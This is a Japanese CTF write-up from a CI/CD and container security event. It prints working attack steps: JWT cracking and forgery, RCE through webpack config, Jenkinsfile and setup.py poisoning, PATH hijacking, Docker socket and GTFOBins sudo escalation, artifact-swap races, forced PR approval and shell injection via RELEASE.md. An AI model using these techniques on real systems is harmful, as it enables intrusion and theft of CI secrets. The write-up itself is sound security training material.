https://ctftime.org/event/2285
5位!
- [Password Cracking] Password Cracking - 1 解いてない
- [Password Cracking] Password Cracking - 2 解けなかった
- [Password Cracking] Password Cracking - 3
- [Password Cracking] Password Cracking - 4
- [Password Cracking] JWsT crack it
- [Misc] IntoTheWebs
- [Misc] CISO Simulator
- [Misc] Hungry punk 解いてない
- [Teamcity] Teamcity - Easy
- [Teamcity] Teamcity - Medium
- [Teamcity] Teamcity - Hard
- [Teamcity] Teamcity - Extreme 解けなかった
- [Teamcity] Teamcity - PBAC 解いてない
- [Containerisation] Docker privesc
- [Containerisation] Kubernetes - EASY 解けなかった
- [Containerisation] Docker Lair
- [Containerisation] Docker all the way down 解けなかった
- [Containerisation] Kubernetes - HARD 解いてない
- [GTFOBINS] GTFOBINS - 1
- [GTFOBINS] GTFOBINS - 3
- [Jenkins] Saucy
- [Jenkins] Look at the state of this
- [Jenkins] ArtifaSt
- [Jenkins] It's just a comment
- [Jenkins] Terraform - Hard 解けなかった
- [Jenkins] Peer reviews to fight abuse
[Password Cracking] Password Cracking - 1 解いてない
flag.miami_california
というファイルが与えられる。時間が無かったのと、0 solvesだったので解かなかったが、拡張子からShadeランサムウェアの暗号化ファイルであることが分かり、漏洩済みキーから復号化するのが正答とのこと。
[Password Cracking] Password Cracking - 2 解けなかった
You may need a TEAM to unSCRAMBLE this
zxx637ff4b3a1818507aee953fa0681aa0c
これをクラックする問題。全く糸口が無く分からなかった。
Discordでやり取りがあり、これでクラック可能らしい。
https://github.com/jacksingleton/teamcity-unscrambler
[Password Cracking] Password Cracking - 3
cHVua197VGhleV9hcmVfbm90X2FsbF90aGlzX2Vhc3l9
これをクラックする問題。base64だった。デコードするとフラグが出てくる。
[Password Cracking] Password Cracking - 4
cb5e8a23ec9e46a858372247af29a414
これをクラックする。CrackStationに投げると出てくる。collision
だった。
[Password Cracking] JWsT crack it
Webサイトが与えられる。題名からJWTみがあるので、Cookieを見てみると以下のようなtokenが入っていた。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6ZmFsc2V9.Hzfn6EknH8QxRsz4N4CYtJ0xFFi4IjB4b0yXHYUEZeA
ジャンルがPassword Crackingなのでクラックしてみる。
$ john --wordlist=/usr/share/wordlists/rockyou.txt h Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status punksnotdead (?) 1g 0:00:00:00 DONE (2024-05-05 01:50) 10.00g/s 327680p/s 327680c/s 327680C/s 123456..eatme1 Use the "--show" option to display all of the cracked passwords reliably Session completed.
パスワードが分かった。jwt.ioでJWT全体を見てみると、Payloadが{"is_admin": false}
だったので、{"is_admin": true}
にして署名しなおして、Cookieにセットしなおす。この状態で/admin
にアクセスするとフラグが得られた。
[Misc] IntoTheWebs
ドメインpunksecurity.co.uk
の登録日を調べる問題。
VirusTotalで答えを見つけることができた。Whois Lookupを見ると、Registered onが12-Feb-2021
なのでこれを様式通り答えればよい。
[Misc] CISO Simulator
CISO SIMULATORというゲームが起動するので遊ぶ。CISOになりきり施策を決め、セキュリティ侵害を一定の範囲に収めれば勝ち。
まず最初に予算の使い方を決める。アンチウイルス、WAF、Cloud Audit、Penetration Test、Consultancyを入れておいた。それから、6か月間それぞれについて、各月何をするかを決定する。
- 初月はWAF, SASTを実行した。セキュリティ侵害は起こらなかった。
- 次月はFix Cloud Issueをした。セキュリティ侵害は起こらなかった。
- 3カ月目はSecret Scanningをした。セキュリティ侵害は起こらなかった。
- 4カ月目はDASTをした。セキュリティ侵害は起こらなかった。
- 5カ月目はMonitoring and Loggingをした。セキュリティ侵害が起こり、60kユーロ損害。
- 6カ月目はIncident Responseをした。それはそう。セキュリティ侵害は起こらなかった。
損害が500kユーロ未満だったのでフラグがもらえた。1発クリア。
[Misc] Hungry punk 解いてない
ポケモンGOのスクショがもらえるので場所を特定するOSINT問題。ローカルネタっぽかったのでパス
[Teamcity] Teamcity - Easy
TeamCityと認証情報が与えられる。ログインしてみると、1つプロジェクトがある。ビルドステップを見ると、以下のような感じ。
echo %env.flag% | sha256sum
出力結果はコンソールから見られるのでsha256sumを消してそのまま出力してやろうと思ったが、マスクされてしまった。それならと思い、base64で出力させると成功する。つまり、以下のように変更する。
echo %env.flag% | base64
実行ログにbase64エンコードされたフラグが乗ってくるのでデコードして答える。
[Teamcity] Teamcity - Medium
TeamCityとGiteaが与えられ、認証情報もそれぞれ与えられる。TeamCity側で用意されているビルドプロジェクトを見てみると、以下のようなビルドスクリプトになっていた。
cd webpack-app webpack
webpackが動く。
Giteaを見てみよう。punkctf/webpack-appというレポジトリがある。javascriptのコード群が入っていて、webpack用にwebpack.config.jsも含まれている。よって、このレポジトリをうまく改変し、webpackが実行された際に任意のコードが実行できればよさそう。
webpack.config.jsを修正してRCEすれば良さそうなので、ChatGPT3.5に聞いて適当に作る。gitea経由で以下のように変更する。
const path = require('path'); const webpack = require('webpack'); module.exports = { entry: './src/index.js', output: { filename: 'main.js', path: path.resolve(__dirname, 'dist'), }, plugins: [ new webpack.ProgressPlugin({ handler: (percentage, message, ...args) => { if (percentage === 0) { console.log('Build Starting'); } if (percentage === 1) { console.log('Build Finished'); } }, }), ], };
これでビルドプロセスを動かしてみるが、Error: Cannot find module 'webpack'
と怒られる。という訳で、別の方法がないか、ChatGPTを問い詰めると、以下のように普通に書けばいいよと教えてくれた。それもそうか。
const path = require('path'); module.exports = { entry: './src/index.js', output: { filename: 'main.js', path: path.resolve(__dirname, 'dist'), }, }; console.log('Can you see me?');
これを実行すると、ビルドログにCan you see me?
が出てくるので、あとはRCEする。
console.log(require('child_process').execSync('env | base64').toString());
フラグは環境変数に入っていた。そのまま出すとマスクされるのでbase64でいい感じに取り出してくる。
[Teamcity] Teamcity - Hard
TeamCityとその認証情報が与えられる。Projectとして2つ入っている。
- Challenge/whoami
- ビルドステップは
whoami
するだけ - 編集可能
- ビルドステップは
- FlagHasher/FlagHasher
- ビルドステップは
sleep 5
が設定されている - パラメタとしてenv.flagが設定されている
- 編集不可能
- ビルドステップは
フラグを得るにはFlagHasherのビルド実行経由で取得する必要があるが、編集できるのはwhoamiの方だけなのでどうしようかという部分が課題となる。注目すべきはビルドしているエージェントを共有している部分で、編集可能なwhoamiの方で何かを仕込んで、FlagHasherでうまく実行させてやればよさそう。FlagHasherでsleepが実行されているが、フルパス指定ではないのでPATH環境変数を弄ってやればよさそう?
whoami側で以下コマンドを実行してみる。
pwd echo $PATH -> /opt/buildagent/work/d1df6864f98d2599 /opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin id -> uid=0(root) gid=0(root) groups=0(root)
rootで動いてるなら何でもできますね。FlagHasherで動かしているsleepをハイジャックする。whoamiの方で以下を実行する。
echo 'echo $flag | base64' > /opt/java/openjdk/bin/sleep chmod 777 /opt/java/openjdk/bin/sleep
こちらが用意したsleepをより優先度の高い所に置けたので、この状態でFlagHasherを動かすとecho $flag | base64
が動かせてフラグが得られる。
[Teamcity] Teamcity - Extreme 解けなかった
前問であるTeamcity - Hard
と状況は同じように見えるが、whoami側で前回試したコマンドを試してみると、rootユーザーでの実行からbuildagentユーザーでの実行にハーデニングされている。
pwd echo $PATH id ls -la /opt/java/openjdk/bin -> /opt/buildagent/work/d1df6864f98d2599 /opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin uid=1000(buildagent) gid=1000(buildagent) groups=1000(buildagent),999(docker) in directory: /opt/buildagent/work/d1df6864f98d2599 total 456 drwxr-xr-x 2 root root 4096 Apr 14 2023 . drwxr-xr-x 9 root root 4096 Mar 27 11:35 .. ...
…という感じで、前回と同じやり方は使えない。
終了後のDiscordでwhoami側でbackgroundで/proc/PID/environ
を全部ダンプするスクリプトをぶん回しながらFlagHasher側を動かしてフラグを抜いてくるというやり方が紹介されていた。ref
[Teamcity] Teamcity - PBAC 解いてない
TeamCityとその認証情報が与えられる。Challenge/PBAC
というプロジェクトがあり、ビルドするとaws s3 ls s3://teamcity-s3-challenge
が実行される。
(多分ビルド環境からAWSの認証情報抜いてきて、あとはAWS側を探索してフラグを見つけるという話だと思う。)
[Containerisation] Docker privesc
root権限に昇格せよという問題。ユーザー権限でのシェルは与えられる。
dockerを使って権限昇格ということでメモから使えそうなテクを探す。色々見るとfind / -name docker.sock 2>/dev/null
とすると/run/docker.sock
が出てきた。つまり、普通にdockerコマンドが使えることになる。という訳でimageがあるか見てみよう。
ip-10-0-9-160:~$ docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE alpine latest b2aa39c304c2 14 months ago 7.05MB
使えそうなのがありますね。これを踏み台にして、今の環境のrootをマウント経由で持って来ることにします。dockerの内部に入って、ルートを/mnt
にマウントします。
docker run -v /:/mnt --rm --user root:root -it alpine /bin/sh
これで全部見れるようになったのでdocker内のシェルからcat /mnt/root/FLAG
でフラグ獲得。(説明が雑すぎるかも)
[Containerisation] Kubernetes - EASY 解けなかった
ユーザー権限でのシェルが与えられ、フラグを探す問題。題名からKubernetesを使うのだろうというのは分かるが、Kubernetesのペンテストはよくわからん。いい所まで行ったと思うが、フラグまでたどり着かなかった…
[Containerisation] Docker Lair
ユーザー権限でのシェルが与えられ、フラグを探す問題。おもむろにdocker image ls
するとchallengeというのがある。
ip-10-0-13-230:/$ docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE challenge latest 678eaa2fd6c7 About a minute ago 7.05MB alpine latest b2aa39c304c2 14 months ago 7.05MB
layer毎に分解して中身を見てみよう。docker save challenge > dumped.tar
としてtar -xvf layer.tar
とすると何層かレイヤーが見える。適当に巡回すると、f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1ebにフラグがあった。
ip-10-0-13-230:~$ ls 28d3982c35b499f19548bfe8f6374546c37a8c5f819d184a54f2b97924a86607 477b394dfb9f6eaf5088b4db3210fef7877b63cd870f33ba82cceacf9043f2f0 678eaa2fd6c70c0cf1ba67420e898bc8b33bbcd38f0d55f74a1bf421b9dceb16.json a402dde20943a09b284aef93dadfd572a0709c6fe26d53ca1ba54e747556e755 f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1eb ff7a4ae1cc88f37af6ab5700adc20b33a6777440a06a205db38471cbe0fc0a03 manifest.json repositories ip-10-0-13-230:~/f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1eb$ cat opt/SEC RET punk_{■■■■■■■■■■■■■■■■■}
[Containerisation] Docker all the way down 解けなかった
全く分からず。
[Containerisation] Kubernetes - HARD 解いてない
(EASY解けなかった…)
[GTFOBINS] GTFOBINS - 1
GTFOBINSということでsudo -l
してみる。
(ALL) NOPASSWD: /usr/bin/nano /root/mail
GTFOBinsでnanoを探すと権限昇格の方法を見つけることができる。 書いてある通りにやるとrootシェルが起動するのでフラグを適当に探して答える。
sudo /usr/bin/nano /root/mail ^R^X reset; sh 1>&0 2>&0 これでrootシェル起動。 # id uid=0(root) gid=0(root) groups=0(root) # cd /root # ls -la total 28 drwx------ 1 root root 4096 May 4 15:37 . drwxr-xr-x 1 root root 4096 May 4 15:32 .. -rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc drwxr-xr-x 3 root root 4096 May 4 15:36 .local -rw-r--r-- 1 root root 1024 May 4 15:37 .mail.swp -rw-r--r-- 1 root root 161 Jul 9 2019 .profile -rw-r--r-- 1 root root 24 May 4 15:32 FLAG # cat FLAG punk_{■■■■■■■■■■}
[GTFOBINS] GTFOBINS - 3
これも、初手sudo -l
する。
(ALL) SETENV: NOPASSWD: /usr/bin/pip install *
SETENVがあるので環境変数も引き継がれる。pipのGTFOBinsを見てみよう。 ここのやり方を参考にして以下のようにすると、/rootのディレクトリ情報が抜ける。
TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'ls -la /root > /tmp/a')" > $TF/setup.py sudo /usr/bin/pip install $TF cat /tmp/a
echo部分をecho "import os; os.execl('/bin/sh', 'sh', '-c', 'cat /root/FLAG > /tmp/a')" > $TF/setup.py
にして同様にやればフラグ獲得。
[Jenkins] Saucy
JenkinsとGitea、そしてそれぞれの認証情報が与えられる。
ということで、python-appの内容がJenkinsのPython Buildでは実行されるんだろう。Gitea側のsetup.pyに追記して色々やる。適当にsetup.pyの末尾にprint(__import__('os').popen('id').read())
を入れると、Console Outputにidの結果が出力されてきた。ok。
Console Outputを眺めるとFLAG=**** python3 setup.py sdist bdist_wheel
と呼ばれているので、print(__import__('os').environ.get('FLAG')[:-1])
でフラグを抜いてくる。([:-1]
しているのはマスク避け)
[Jenkins] Look at the state of this
Jenkinsとその認証情報が与えられる。
Jenkinsを見るとSecure Jobs/Builders
というジョブがある。巡回していると、http://gitea.punk.local:3000/punkctf/jenkins.git
というURLにアクセスして何かしてるようだ。レポジトリの中身も見ることができる。中にはTerraformのあれこれが入っていて、ジョブではTerraformを使ってあれこれ動かしているみたい。
更に巡回すると、terraform.tfでpostgresの認証情報が手に入る。
terraform { backend "pg" { conn_str = "postgres://tfstate:svA3PzGRjMyHn4XWha2G7i3v3uBW5HbS@postgres.punk.local/tfstate?sslmode=disable" } }
別途謎のコンソールが与えられていたので、これを使って接続しろということだろうと思い、psqlしてみると入れた。
punk@ip-10-0-10-188:/var$ psql -h postgres.punk.local -p 5432 -Utfstate -W -d tfstate Password: psql (14.11 (Ubuntu 14.11-0ubuntu0.22.04.1), server 13.14 (Debian 13.14-1.pgdg110+2)) Type "help" for help. tfstate=# SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES; table_schema ------------------------ pg_catalog terraform_remote_state information_schema (3 rows) tfstate=# select distinct table_name from information_schema.tables where table_schema = 'terraform_remote_state'; table_name ------------ states (1 row) tfstate=# select * from terraform_remote_state.states; ... | | "content": "punk_{■■■■■■■■■}", ...
という感じに巡回しているとフラグがある。
[Jenkins] ArtifaSt
Jenkinsとその認証情報が与えられる。Jenkinsには、以下のジョブがある。
- Secure Jobs/Builder
sleep 30
をしてcurl $ARTIFACT_PATH -O
をするジョブ。curlで取得を成功すればtarファイルを解凍して中のbuild.shを実行する
- Secure Jobs/Packager
http://gitea.punk.local:3000/punkctf/jenkins.git
を参照している- ここのjenkinsfileを見てみると…
Secure Jobs/Builder
をkickする- Builderが使う
http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar
を用意
機能的には以上の通り。脆弱な点として、giteaにあるレポジトリの中のJenkinsfileでtarファイルをアップロードする際の認証情報がべた書きされていて漏洩している。以下のような感じ。
sh 'curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 --upload-file package.tar http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar'
前問同様に、便利に使えるコンソールが与えられることを考慮して、以下の流れで攻撃を進める。
- Packagerを実行する
- PackagerによってBuilderが実行され、Builder側はsleep 30を実行
- Packagerの残りの処理でpackager.tarが用意される
- Builderのsleepが終わる前に、別コンソールからpackage.tarをアップロード
- Builderのsleepが終わり、差し込まれたpackage.tarに入っているシェルスクリプトが実行される
ということで、別コンソールでは以下のようにやる。
echo 'echo $TOKEN | base64' > build.sh tar cvf package.tar build.sh # Packager実行 curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 -X DELETE http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1 curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 --upload-file package.tar http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar
Builder完了後にConsole Outputを見るとbase64エンコードされたフラグが載っている。
[Jenkins] It's just a comment
JenkinsとGitea、そして、その両方の認証情報が与えられる。
JenkinsではGitea/jenkins
というのがあり、Giteaではpunkctf/jenkins
というのがある。Gitea側ではPull RequestsにJenkinsからコメントがあり、secretが見つかったから消せ!というコメントが出ている。Jenkinsfileを見てみるとsecret
という文字列で検索して、ヒットするとコメントを出す。
恐らく重要なのが、Pull Requestsが作られた段階でJenkinsfileが実行されているということだろうので、新しくPull Requestsを作ってRCEしてみよう。
- masterブランチから新しくpocブランチを作成
- Jenkinsfileのsecretでgrepしている部分の上くらいに
env | base64
を追記し、コミット - pocブランチをmasterブランチにマージする形でPull Requestを新しく作る
- Jenkins側でスキャンを動かす
- 該当PRのConsole Outputから結果を受け取る
色々RCEしてみるがフラグが見当たらない。ところでPull RequestsにJenkinsというユーザーがログインしていて、トークン情報が送られていることに気が付く。echo $GITEA_TOKEN | base64
というのを追加してみて、取り出し、API呼び出ししてみよう。
http://gitea.punk.local:3000/api/v1/user?token=957b0734e64057f9129b628df3556afbaa1a7020 -> {"id":2,"login":"jenkins","login_name":"","full_name":"","email":"jenkins@punk.local","avatar_url":"https://secure.gravatar.com/avatar/cf9325fafa42f009b2922e2943d2907f?d=identicon","language":"en-US","is_admin":true,"last_login":"2024-04-29T15:28:50Z","created":"2024-04-29T15:27:35Z","restricted":false,"active":true,"prohibit_login":false,"location":"","website":"","description":"","visibility":"limited","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"jenkins"}
"is_admin":true
!GiteaのAPI仕様書を見ながら巡回する。
http://gitea.punk.local:3000/api/v1/repos/search?token=957b0734e64057f9129b628df3556afbaa1a7020 -> {"ok":true, … ,{"id":2,"owner":{"id":2,"login":"jenkins","login_name":"","full_name":"","email":"jenkins@punk.local","avatar_url":"https://secure.gravatar.com/avatar/cf9325fafa42f009b2922e2943d2907f?d=identicon","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2024-04-29T15:27:35Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"","visibility":"limited","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"jenkins"},"name":"secret","full_name":"jenkins/secret", … -> jenkins/secretというのがありますね。 http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents?token=957b0734e64057f9129b628df3556afbaa1a7020 -> [{"name":"Flag","path":"Flag","sha":"1730702ad1437bc704e1ce3e6a0a6148232770fc","last_commit_sha":"cd746cb65f3ebd134e50f42ba91177183001b440","type":"file","size":25,"encoding":null,"content":null,"target":null,"url":"http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?ref=master","html_url":"http://gitea.punk.local:3000/jenkins/secret/src/branch/master/Flag" … -> Flagというファイルがありますね。 http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?token=957b0734e64057f9129b628df3556afbaa1a7020 -> {"name":"Flag","path":"Flag","sha":"1730702ad1437bc704e1ce3e6a0a6148232770fc","last_commit_sha":"cd746cb65f3ebd134e50f42ba91177183001b440","type":"file","size":25,"encoding":"base64","content":"cHVua19■■■■■■■■■■■■■■■■■■■■","target":null,"url":"http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?ref=master", …
やっと見つけた!
[Jenkins] Terraform - Hard 解けなかった
Jenkinsとその認証情報が与えられる。
JenkinsにSecure jobs/Builder
というジョブがあり、giteaのhttp://gitea.punk.local:3000/punkctf/jenkins.git
にあるTerraformを実行している。前問 Saucy
と同様にterraform.tfに認証情報が漏洩していた。
terraform { backend "pg" { conn_str = "postgres://tfstate:svA3PzGRjMyHn4XWha2G7i3v3uBW5HbS@postgres.punk.local/tfstate?sslmode=disable" } }
前問と同じように解いてみるが、select * from terraform_remote_state.states;
の後何も出てこない…DBを改ざんしてRCE?分からん。
[Jenkins] Peer reviews to fight abuse
JenkinsとGitea、その両方の認証情報が与えられる。状況は以下の通り。
- Jenkins
- Gitea
- PRを探してJenkinsfileを実行してくれる
- Secure Jobs/Generate Release
- http://gitea.punk.local:3000/hudson/jenkins.git を動かしてる
- 詳しい内部挙動は分からないが、実行時ログを見ると
+ echo # Version 4.5.24...
のようにRELEASE.mdをコマンド内部で使っていそうな雰囲気がある
- Gitea
- Gitea
- hudson/jenkins
- 自由にPRを出すことはできるが、別の誰か1人に承認してもらう必要がある
- hudson/jenkins
ゴールはSecure Jobs/Generate Release
で$FLAG
を出力させること。逆算して考えると、RELEASE.mdを使ってRCEをするのではないかと仮説が立つ。そして、RELEASE.mdを更新するにはPRで誰かに承認を強制させる必要がある。
承認を強制させる
これは、JenkinsのGiteaを使う。Jenkinsfileを見てみると以下のようにPRにコメントを残す処理をしている。コメントの主はJenkinsというユーザーであり、自分とは異なる。
pipeline { agent any stages { stage('build') { steps { withCredentials([string(credentialsId: 'gitea', variable: 'GITEA_TOKEN')]) { sh '''#!/usr/bin/env bash curl -X 'POST' \\ "http://gitea.punk.local:3000/api/v1/repos/hudson/jenkins/pulls/$CHANGE_ID/reviews" \\ -H 'accept: application/json' \\ -H "Authorization: token $GITEA_TOKEN" \\ -H 'Content-Type: application/json' \\ -d "{ \\"body\\": \\"Thanks for your submission. Please wait for a maintainer to approve your PR.\\", \\"commit_id\\": \\"$GIT_COMMIT\\", \\"event\\": \\"COMMENT\\" }" ''' } } } } }
PRを出して、JenkinsのGiteaで処理をする際に使うJenkinsfileはPRでpushしたファイルが利用される。そのため、このコメントを残す処理を承認をする処理に変えてやれば承認を強制させることができる。
手順としては、まず承認させたいPRを作成する。今回の中間目標はRELEASE.mdの修正なので、RELEASE.mdを修正してPRを出す。
次に、RELEASE.mdの修正PRを承認させるためのPRを出す。Jenkinsfileの以下の部分を変更する。
$CHANGE_ID
をRELEASE.mdの修正PRの番号にする- bodyとcommit_idを消す(指摘だと思われて承認が外れるっぽい?)
- eventをAPPROVEDに変更する
この状態に変更してPRを出し、Jenkins側からGiteaのジョブを動かすと、変更後のJenkinsfileが実行され、指定のPRに承認がなされる。これでmergeの条件を満たすのでmarge可能となる。
RELEASE.mdを使ってRCEをする
これは単純でRELEASE.mdの中身を展開するときにエスケープされないのか、末尾に'
を入れることでechoに入る文字列を脱出することができる。つまり、末尾に' && id #
と追加すればidコマンドの結果を得ることができる。
よって、最終的にはRELEASE.mdの末尾にecho $FLAG | base64
としてフラグを取り出せば良い。